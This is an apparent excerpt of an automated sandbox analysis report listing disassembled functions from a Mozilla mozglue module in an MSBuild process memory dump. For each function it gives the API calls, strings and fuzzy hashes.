Opcode Fuzzy Hash: 7f40aa047ea682e8684c40e83ee0e2fd0d6e3b742c7e74a020aa2139faeb720c
Instruction Fuzzy Hash: D141A0706187109FE721DF69C884B9AB7F4AF88318F504A1DF59487650FB70E989CFA2

Function 6C3AE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3AE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AE04F

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3AE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3AE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C3AE057

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: f21c21189f81a081ef490ff11ced0b1ae98fe8a335406d68d9683a36c67e050c
Instruction ID: e13be92b496b542887c53a90fdcba4d9871f791d176a878252450ae131b14c72
Opcode Fuzzy Hash: f21c21189f81a081ef490ff11ced0b1ae98fe8a335406d68d9683a36c67e050c
Instruction Fuzzy Hash: 9521B674A002145FDF04DFA6D8586EEBBB9EF49208F140415E85697740DB36992ACBD2

Function 6C3C74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C3C7526
__Init_thread_footer.LIBCMT ref: 6C3C7566
__Init_thread_footer.LIBCMT ref: 6C3C7597

Strings

UnmapViewOfFile2, xrefs: 6C3C7552
kernel32.dll, xrefs: 6C3C7557

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 0f8ede4822d7e181a4c74f78c1ce47cf0ab00aeb7b51be36aaa65848faca0596
Instruction ID: 56fbb67b6c7a0be267b864d6f4529f4ad2f5173f8ddbb543a26ce8e18e7c95e4
Opcode Fuzzy Hash: 0f8ede4822d7e181a4c74f78c1ce47cf0ab00aeb7b51be36aaa65848faca0596
Instruction Fuzzy Hash: 8F21F571B0151197DB248BEAE814E9D3379EB8F3A8F00452AED0547B40D775AC428FA7

Function 6C3CA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C3EF770,-00000001,?,6C3DE330,?,6C38BDF7), ref: 6C3CA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C38BDF7), ref: 6C3CA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C38BDF7), ref: 6C3CA7E4
LeaveCriticalSection.KERNEL32(6C3EF770), ref: 6C3CA80A

Strings

accelerator.dll, xrefs: 6C3CA7BF

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 62eccca8b160fd860a9b77d061656cb41a8613925ea9f154806a4995d3752703
Instruction ID: 2fc693e35ece21cf9cac8e90b7a172d23d6acf33ef155e71aed79544fe14cde7
Opcode Fuzzy Hash: 62eccca8b160fd860a9b77d061656cb41a8613925ea9f154806a4995d3752703
Instruction Fuzzy Hash: A70128B17103049FDB548F9AE884D657BB8FB8E395705806BE9098B751DBB1AC00CFA2

Function 6C36F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C36EE51,?), ref: 6C36F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C36F0C2

Strings

ole32, xrefs: 6C36F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C36F0DC
Could not find CoTaskMemFree, xrefs: 6C36F0E3

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 69afedacbac526d4fc30b06063e7129de411bbcfd854e639cbcafef14a6e7a14
Instruction ID: 86a837f0d5193c7816fdafc4f3f7327ac0cc384424c1d30cce1d7dedf8fde2fb
Opcode Fuzzy Hash: 69afedacbac526d4fc30b06063e7129de411bbcfd854e639cbcafef14a6e7a14
Instruction Fuzzy Hash: 8FE0DF703443029BEF641B67AC09BAA37BC6B5E20D300842BE552C1E19EB65D4008F26

Function 6C3A0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C377204), ref: 6C3A0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C3A00A7
FreeLibrary.KERNEL32(?,6C377204), ref: 6C3A00BE

Strings

wintrust.dll, xrefs: 6C3A0083
CryptCATAdminAcquireContext2, xrefs: 6C3A00A1

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: a814336c7c7044a435871f551893ba5c7940edd3e1aa6a1e54da8f70eee1882f
Instruction ID: a836f4efd1be7bdb373f365329274cf26f37b9143d872c237e007c9d16c2d337
Opcode Fuzzy Hash: a814336c7c7044a435871f551893ba5c7940edd3e1aa6a1e54da8f70eee1882f
Instruction Fuzzy Hash: 40E012706003549BEFA1AFA6A8087823AFCA74F348F404027E911C2690DBB9C0108F25

Function 6C3A00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C377235), ref: 6C3A00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C3A00F7
FreeLibrary.KERNEL32(?,6C377235), ref: 6C3A010E

Strings

wintrust.dll, xrefs: 6C3A00D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C3A00F1

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: f0319a5a2d9dfd6ed4f2a02399f502a6dae753982e1e31b99f40909af6e97711
Instruction ID: 9359e3ae01e64f3d75f2e1bcedc9575de0941fb79592601bd5e2c8665c0bbd0f
Opcode Fuzzy Hash: f0319a5a2d9dfd6ed4f2a02399f502a6dae753982e1e31b99f40909af6e97711
Instruction Fuzzy Hash: 0BE046786013459BEFA19FA6EA0A7623AFCE70F208F509027E90E81B00DBF5C010CF60

Function 6C3CC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C3CC0E9), ref: 6C3CC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C3CC437
FreeLibrary.KERNEL32(?,6C3CC0E9), ref: 6C3CC44C

Strings

NtQueryVirtualMemory, xrefs: 6C3CC431
ntdll.dll, xrefs: 6C3CC413

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 86c0aea324850bb9d52df59e4804131051a5e168a2106ccfa6b828f3c209b154
Instruction ID: bed046c287f92146b4d7f0a554f99a1697f007c8230505246e74351985770c1a
Opcode Fuzzy Hash: 86c0aea324850bb9d52df59e4804131051a5e168a2106ccfa6b828f3c209b154
Instruction Fuzzy Hash: CCE09270A013159BDBA27B71A9087157AFCA78E208F009127EA04D5691EBB9D4008F55

Function 6C3C75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C3C748B,?), ref: 6C3C75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C3C75D7
FreeLibrary.KERNEL32(?,6C3C748B,?), ref: 6C3C75EC

Strings

RtlNtStatusToDosError, xrefs: 6C3C75D1
ntdll.dll, xrefs: 6C3C75B3

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 6818a29e6c4b4b891bd41026332481d5fd7741dbea750382c219ae45940ad87d
Instruction ID: 95139137b4892e902826f7a682e7abb067c566b117f1ca71fac5f652ced0b254
Opcode Fuzzy Hash: 6818a29e6c4b4b891bd41026332481d5fd7741dbea750382c219ae45940ad87d
Instruction Fuzzy Hash: AAE09275602305ABEBA16BA2E8887097AFCEB8F298F105027E905D5610EBB5A5428F15

Function 6C3C7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C3C7592), ref: 6C3C7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C3C7627
FreeLibrary.KERNEL32(?,6C3C7592), ref: 6C3C763C

Strings

NtUnmapViewOfSection, xrefs: 6C3C7621
ntdll.dll, xrefs: 6C3C7603

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 9b08585a2a525ffe97da9225aa6367dab9154889ef2c152dfa426f1534e2e55c
Instruction ID: dc473a642a5bb422cfa3d4176216face3e2c6a1d007af335b19a6257be803e16
Opcode Fuzzy Hash: 9b08585a2a525ffe97da9225aa6367dab9154889ef2c152dfa426f1534e2e55c
Instruction Fuzzy Hash: DCE092B1601305ABEFA1ABA6A8487057ABCE79F39DF004127ED05D5710EBB5D4108F19

Function 6C3CBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C3CBE49), ref: 6C3CBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C3CBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C3CBE49), ref: 6C3CBF38
RtlReAllocateHeap.NTDLL ref: 6C3CBF83
RtlFreeHeap.NTDLL ref: 6C3CBFA6

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 813857623c2a75d8f5ff62f7783245a21bf60c34404e1b0bf31b8409571d2d6e
Instruction ID: 5e20990d2d69c57944565373c06bb039003d7fd244f74309fa0eed0d705165c2
Opcode Fuzzy Hash: 813857623c2a75d8f5ff62f7783245a21bf60c34404e1b0bf31b8409571d2d6e
Instruction Fuzzy Hash: 73518072B002158FE710CF69C980B9EB3A6BF88318F294629D555ABB54D731FD068F92

Function 6C3B8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C3AB58D,?,?,?,?,?,?,?,6C3DD734,?,?,?,6C3DD734), ref: 6C3B8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C3AB58D,?,?,?,?,?,?,?,6C3DD734,?,?,?,6C3DD734), ref: 6C3B8EBF
free.MOZGLUE(?,?,?,?,6C3AB58D,?,?,?,?,?,?,?,6C3DD734,?,?,?), ref: 6C3B8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C3AB58D,?,?,?,?,?,?,?,6C3DD734,?,?,?,6C3DD734), ref: 6C3B8F46
free.MOZGLUE(?,?,?,?,6C3AB58D,?,?,?,?,?,?,?,6C3DD734,?,?,?), ref: 6C3B8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C3AB58D,?,?,?,?,?,?,?,6C3DD734,?,?,?), ref: 6C3B8F8F

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 18e4411b10df4138fa218435dcc6c1a26ec2ddeebf478c9b58892cbea71d2f79
Instruction ID: bd463bc94be17b621d736e4451717f021d99dce48710b366a91712594b7fad74
Opcode Fuzzy Hash: 18e4411b10df4138fa218435dcc6c1a26ec2ddeebf478c9b58892cbea71d2f79
Instruction Fuzzy Hash: 475192B1A112168FEB14CF54E8807AE77B6BF58718F15052AD516BBB40E732F904CFA2

Function 6C3760E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C375FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3760F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C375FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C376180
free.MOZGLUE(?,?,?,?,6C375FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C376211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C375FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C376229
free.MOZGLUE(?,?,?,?,6C375FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C37625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C375FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C376271

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f4b523adc87c7ee077d1d82f3dfc4fe76628322d0aaddc88f398a5ff3be55295
Instruction ID: 0a55675edae6d5ee4557e44c40473236419cc880ff496cd4b46b19c52af936b3
Opcode Fuzzy Hash: f4b523adc87c7ee077d1d82f3dfc4fe76628322d0aaddc88f398a5ff3be55295
Instruction Fuzzy Hash: C9519FB1A002068FEB64CF68D8A47AEB7B5EF49308F100439C556D7B11E735E958CFA5

Function 6C3B27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C3B2620,?,?,?,6C3A60AA,6C3A5FCB,6C3A79A3), ref: 6C3B284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C3B2620,?,?,?,6C3A60AA,6C3A5FCB,6C3A79A3), ref: 6C3B289A
free.MOZGLUE(?,?,?,6C3B2620,?,?,?,6C3A60AA,6C3A5FCB,6C3A79A3), ref: 6C3B28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C3B2620,?,?,?,6C3A60AA,6C3A5FCB,6C3A79A3), ref: 6C3B2910
free.MOZGLUE(00000001,?,?,6C3B2620,?,?,?,6C3A60AA,6C3A5FCB,6C3A79A3), ref: 6C3B293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C3B2620,?,?,?,6C3A60AA,6C3A5FCB,6C3A79A3), ref: 6C3B294E

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cf6237242e176c27599d48006500ee77a2344b0de7b219798df13ef31715a460
Instruction ID: f63b2d2b42f4d8543da1e7d443196307bc994d5c016472c233d069aa9b855f12
Opcode Fuzzy Hash: cf6237242e176c27599d48006500ee77a2344b0de7b219798df13ef31715a460
Instruction Fuzzy Hash: F34193B1A002068FEB14CF68D98476A77F5AB55308F150A39D56AFBB40E732E914CF61

Function 6C36CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C3EE784), ref: 6C36CFF6
LeaveCriticalSection.KERNEL32(6C3EE784), ref: 6C36D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C36D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C36D139

Strings

MOZ_CRASH(), xrefs: 6C36D187

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 9b93b967985f2cb56b6c1f0765ff1eaad82cc2a09f020d57d96632bb8bc349ba
Instruction ID: 35531a3ac8af9c2706e42196f7809572945640bb810e49d4131370f2c58ef1f1
Opcode Fuzzy Hash: 9b93b967985f2cb56b6c1f0765ff1eaad82cc2a09f020d57d96632bb8bc349ba
Instruction Fuzzy Hash: 1541D231B013164FCBA48E7E8C903AA36B8EB4D714F25013AE958E7B88D7B25C008BD4

Function 6C364DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C364E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C364E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C364EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C364F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C364F1E

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 91143171fe9a4fd032ff23cc20dce7709a28eb1d5dd833d6bc271ac4350fb4a4
Instruction ID: c423f19407aefe00681cc787d0da83c555033ef309c09ce4088906601a58ac93
Opcode Fuzzy Hash: 91143171fe9a4fd032ff23cc20dce7709a28eb1d5dd833d6bc271ac4350fb4a4
Instruction Fuzzy Hash: A041B071A087019FC705CF6AC49095BB7E8BF89344F108A2DF4A58BA45DB31E954CF92

Function 6C3CA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C3EF770), ref: 6C3CA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3CA87B

Part of subcall function 6C3CA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C3CA88F,00000000), ref: 6C3CA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C3CA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3CA90C
LeaveCriticalSection.KERNEL32(6C3EF770), ref: 6C3CA97E

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

